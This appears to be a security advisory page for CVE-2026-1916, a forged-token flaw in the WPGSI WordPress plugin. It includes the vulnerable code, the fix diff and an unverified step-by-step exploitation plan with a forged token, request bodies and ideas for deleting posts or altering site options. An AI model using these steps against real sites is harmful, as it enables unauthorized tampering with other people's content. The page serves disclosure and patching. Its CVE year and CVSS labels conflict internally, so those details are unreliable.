CVE-2026-1916

WPGSI: Spreadsheet Integration <= 3.8.3 - Missing Authorization to Unauthenticated Arbitrary Post Creation and Deletion via Forged Base64 Token

highMissing Authorization
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.8.4
Patched in
1d
Time to patch

Description

The WPGSI: Spreadsheet Integration plugin for WordPress is vulnerable to unauthorized modification and loss of data due to missing capability checks and an insecure authentication mechanism on the `wpgsi_callBackFuncAccept` and `wpgsi_callBackFuncUpdate` REST API functions in all versions up to, and including, 3.8.3. Both REST endpoints use `permission_callback => '__return_true'`, allowing unauthenticated access. The plugin's custom token-based validation relies on a Base64-encoded JSON object containing the user ID and email address, but is not cryptographically signed. This makes it possible for unauthenticated attackers to forge tokens using publicly enumerable information (admin user ID and email) to create, modify, and delete arbitrary WordPress posts and pages, granted they know the administrator's email address and an active integration ID with remote updates enabled.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=3.8.3
PublishedFebruary 24, 2026
Last updatedFebruary 25, 2026
Affected pluginwpgsi

What Changed in the Fix

Changes introduced in v3.8.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration) ## 1. Vulnerability Summary The **WPGSI: Spreadsheet Integration** plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin reg…

Show full research plan

Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration)

1. Vulnerability Summary

The WPGSI: Spreadsheet Integration plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin registers two REST API endpoints (/wpgsi/accept and /wpgsi/update) intended for remote updates from Google Sheets. These endpoints lack proper permission_callback checks (using __return_true) and rely on a "token" that is merely a Base64-encoded JSON object containing user information. Because this token is not cryptographically signed, an unauthenticated attacker can forge a token using publicly enumerable information (Admin ID and Email) to impersonate an administrator and manipulate WordPress posts.

2. Attack Vector Analysis

  • Endpoints:
    • POST /wp-json/wpgsi/accept (Used to transmit the spreadsheet data)
    • GET /wp-json/wpgsi/update (Used to trigger the processing of the transmitted data)
  • Vulnerability Type: Missing Authorization / Insecure Authentication (Forged Token).
  • Authentication: Unauthenticated. The permission_callback for both routes is set to __return_true in admin/class-wpgsi-update.php.
  • Parameters:
    • token (Base64-encoded JSON: {"ID": <integration_id>, "UID": <admin_id>, "email": "<admin_email>"})
    • sheetData (2D Array: Rows and columns of data to be synced)
  • Preconditions:
    1. Attacker must know or guess a valid integration ID (these are IDs of the wpgsiIntegration custom post type, which are standard WordPress post IDs).
    2. Attacker must know the administrator's email address (enumerable via /wp-json/wp/v2/users).
    3. The integration must have "Remote update from Google sheet" enabled.

3. Code Flow

  1. Route Registration: In admin/class-wpgsi-update.php, the wpgsi_register_rest_route() function registers the endpoints.
    register_rest_route( 'wpgsi', '/accept', array(
        'methods'             => 'POST',
        'callback'            => array($this, 'wpgsi_callBackFuncAccept'),
        'permission_callback' => '__return_true', // Vulnerability: No check
    ) );
    
  2. Token Processing: The wpgsi_callBackFuncAccept($data) function receives the request.
    • It extracts token: $jsonString = @base64_decode( $data['token'] );
    • It decodes JSON: $updateInfo = json_decode( $jsonString, TRUE );
    • It validates that UID and email correspond to a real user:
      $userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) );
      // The check only confirms the user exists and the ID matches the forged UID.
      
  3. Data Persistence: The function saves the sheetData provided in the request into a WordPress option or transient, keyed to the integration ID.
  4. Processing Trigger: The attacker then calls GET /wp-json/wpgsi/update. This function reads the previously saved data and performs the actual WordPress operations (creating, updating, or deleting posts) based on the mapping configuration defined in the wpgsiIntegration post.

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce. The REST API routes are explicitly registered with permission_callback => '__return_true', effectively bypassing WordPress's internal REST nonce requirement for authenticated actions. The custom "token" used by the plugin is the only security mechanism, and it is forged in the exploitation phase.

5. Exploitation Strategy

Step 1: Enumerate Administrative Information

Find the admin user ID and email.

  • Request: GET /wp-json/wp/v2/users
  • Target Info: Look for id (usually 1) and email (if exposed) or guess based on standard admin@domain.com.

Step 2: Identify a Valid Integration ID

Integrations are stored as wpgsiIntegration posts.

  • Method: Brute-force/enumerate post IDs (e.g., 1-100) or check the plugin's log if exposed (/wp-admin/admin.php?page=wpgsi-settings&action=log - though this requires admin access, unauthenticated enumeration of IDs via the accept endpoint's responses is possible).
  • Verification: A valid ID sent to /wp-json/wpgsi/accept with a forged token will return a 200 or a specific error message rather than a 400 integration ID error.

Step 3: Forge the Token

Construct a JSON object and Base64 encode it.

{
  "ID": 123,
  "UID": 1,
  "email": "admin@example.com"
}

Encoded: eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9

Step 4: Submit Malicious Sheet Data

The payload must match the integration's column mapping. If the integration maps Column 0 to Post Title and Column 1 to Post Content:

  • Request: POST /wp-json/wpgsi/accept
  • Headers: Content-Type: application/json
  • Body:
    {
      "token": "eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9",
      "sheetData": [
        ["Column_Title_Row"],
        ["Vulnerable Post Title", "This content was created via CVE-2024-1916"]
      ]
    }
    

Step 5: Trigger the Update

  • Request: GET /wp-json/wpgsi/update
  • Response: Expected 202 (Accepted/Processing) or 200.

6. Test Data Setup

  1. Plugin Setup: Install WPGSI <= 3.8.3.
  2. Create Integration:
    • Create a "New Integration" in the WPGSI dashboard.
    • Set "Data Source" to "WordPress New Post".
    • Enable "Remote update from Google sheet".
    • Map at least two columns: Column A -> post_title, Column B -> post_content.
    • Save and note the Post ID of the integration (e.g., in the URL id=123).
  3. Administrator: Ensure user ID 1 has the email admin@example.com.

7. Expected Results

  • Successful Accept: The accept endpoint returns a JSON response with "code": "200" and a success message.
  • Successful Update: The update endpoint returns "code": 202 or 201.
  • Final Result: A new WordPress post is created with the title "Vulnerable Post Title".

8. Verification Steps

  1. Check Posts: wp post list --post_type=post
  2. Verify Content: wp post get <new_post_id>
  3. Check Plugin Logs: WPGSI keeps internal logs. Check wp post list --post_type=wpgsi_log to see the remote update trace.

9. Alternative Approaches

  • Post Deletion: If the integration is configured for "Sync" or "Delete", include a row in sheetData that matches an existing post ID and provides an "action" or "delete" flag if the integration supports it.
  • Information Leakage: Attempt to guess Integration IDs by observing the difference between "integration ID is empty" (302) and "user id is not correct" (303) errors in the wpgsi_callBackFuncAccept function.
  • SSRF/RCE via Post Content: If the plugin allows updating meta fields or options, use the forged token to update siteurl or active_plugins (if mapped), though typically this is limited to Post/Page/WooCommerce fields.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPGSI plugin for WordPress is vulnerable to unauthorized data modification and loss due to missing authorization checks and an insecure token-based authentication mechanism in its REST API. An unauthenticated attacker can forge a Base64-encoded token containing a target administrator's ID and email to impersonate them, allowing the attacker to create, update, or delete arbitrary posts via the plugin's spreadsheet integration functionality.

Vulnerable Code

// admin/class-wpgsi-update.php line 96
public function wpgsi_register_rest_route() {
    # For receiving data and saving that to option table
    register_rest_route( 'wpgsi', '/accept', array(
        'methods'             => 'POST',        'callback'            => array($this, 'wpgsi_callBackFuncAccept'),
        'permission_callback' => '__return_true',
    ) );
    # For updating data site data
    register_rest_route( 'wpgsi', '/update', array(
        'methods'             => 'GET',        'callback'            => array($this, 'wpgsi_callBackFuncUpdate'),
        'permission_callback' => '__return_true',
    ) );
}

---

// admin/class-wpgsi-update.php line 137
# converting data from base64 string
$jsonString = @base64_decode( $data['token'] );
# encoding JSON string to PHP array
$updateInfo = json_decode( $jsonString, TRUE );
# User information validation;  $updateInfo array and isset( ) check for ID, UID, email
if ( !is_array( $updateInfo ) or !isset( $updateInfo['ID'], $updateInfo['UID'], $updateInfo['email'] ) ) {
    // ... error handling
}
# integration Id
if ( empty( $updateInfo['ID'] ) or !is_numeric( $updateInfo['ID'] ) ) {
    // ... error handling
}
# Getting the ID
$integrationID = wp_kses_post( $updateInfo['ID'] );
# getting user data
$userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) );
# User ID check see user
if ( !is_array( $userData ) and $updateInfo['UID'] != $userData->data->ID ) {
    // ... (vulnerable check: only validates user existence and ID match, no signature check)

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.3/admin/class-wpgsi-admin.php /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.4/admin/class-wpgsi-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.3/admin/class-wpgsi-admin.php	2025-04-13 12:06:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.4/admin/class-wpgsi-admin.php	2026-02-14 11:59:28.000000000 +0000
@@ -1059,7 +1062,10 @@
             # User Email
             $userBase64TokenArr['email'] = $current_user->data->user_email;
             # Creating token;
-            $userToken = base64_encode( json_encode( $userBase64TokenArr ) );
+            # Fix: Base64 encode the payload to prevent dots in JSON interfering with structural dot separator
+            $payload = base64_encode( json_encode( $userBase64TokenArr ) );
+            $signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );
+            $userToken = base64_encode( $payload . '.' . $signature );
             # Check and Balance.
             if ( !empty( $userToken ) ) {
                 $sheetData = @json_decode( $Integrations->post_excerpt, TRUE );
--- /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.3/admin/class-wpgsi-update.php	2025-04-13 12:06:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpgsi/3.8.4/admin/class-wpgsi-update.php	2026-02-14 11:59:28.000000000 +0000
@@ -96,17 +96,86 @@
         register_rest_route( 'wpgsi', '/accept', array(
             'methods'             => 'POST',
             'callback'            => array($this, 'wpgsi_callBackFuncAccept'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => array($this, 'wpgsi_permission_check'),
+            'args'                => array(
+                'token' => array(
+                    'required' => true,
+                    'type'     => 'string',
+                ),
+            ),
         ) );
         # For updating data site data
         register_rest_route( 'wpgsi', '/update', array(
             'methods'             => 'GET',
             'callback'            => array($this, 'wpgsi_callBackFuncUpdate'),
-            'permission_callback' => '__return_true',
+            'permission_callback' => array($this, 'wpgsi_permission_check'),
+            'args'                => array(
+                'token' => array(
+                    'required' => true,
+                    'type'     => 'string',
+                ),
+            ),
         ) );
     }
 
     /**
+     * Permission callback for REST routes
+     */
+    public function wpgsi_permission_check( $request ) {
+        $token = $request->get_param( 'token' );
+        // ... header/param logic
+        $decoded = base64_decode( $token );
+        if ( false === $decoded || strpos( $decoded, '.' ) === false ) {
+             return new WP_Error('rest_forbidden', 'Invalid token format', array('status' => 401));
+        }
+        list( $payload, $signature ) = explode( '.', $decoded, 2 );
+        $expected_signature = hash_hmac( 'sha256', $payload, wp_salt( 'auth' ) );
+        if ( hash_equals( $expected_signature, $signature ) ) {
+            return true;
+        }
+        return new WP_Error('rest_forbidden', 'Signature Mismatch.', array('status' => 401));
+    }

Exploit Outline

1. Enumerate the target WordPress site's administrator user ID and email via the public REST API endpoint (/wp-json/wp/v2/users). 2. Identify a valid Integration ID by enumerating numeric IDs for the 'wpgsiIntegration' custom post type (or observing error responses from the /wpgsi/accept endpoint). 3. Construct a malicious JSON payload: {"ID": [integration_id], "UID": [admin_id], "email": "[admin_email]"}. 4. Base64-encode this JSON string to create a forged token. 5. Send a POST request to /wp-json/wpgsi/accept with the forged token and a 'sheetData' array containing rows of malicious content (e.g., a new post title and content mapped to columns). 6. Send a GET request to /wp-json/wpgsi/update using the same forged token to trigger the plugin to process the previously submitted data, resulting in the creation or modification of WordPress posts.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.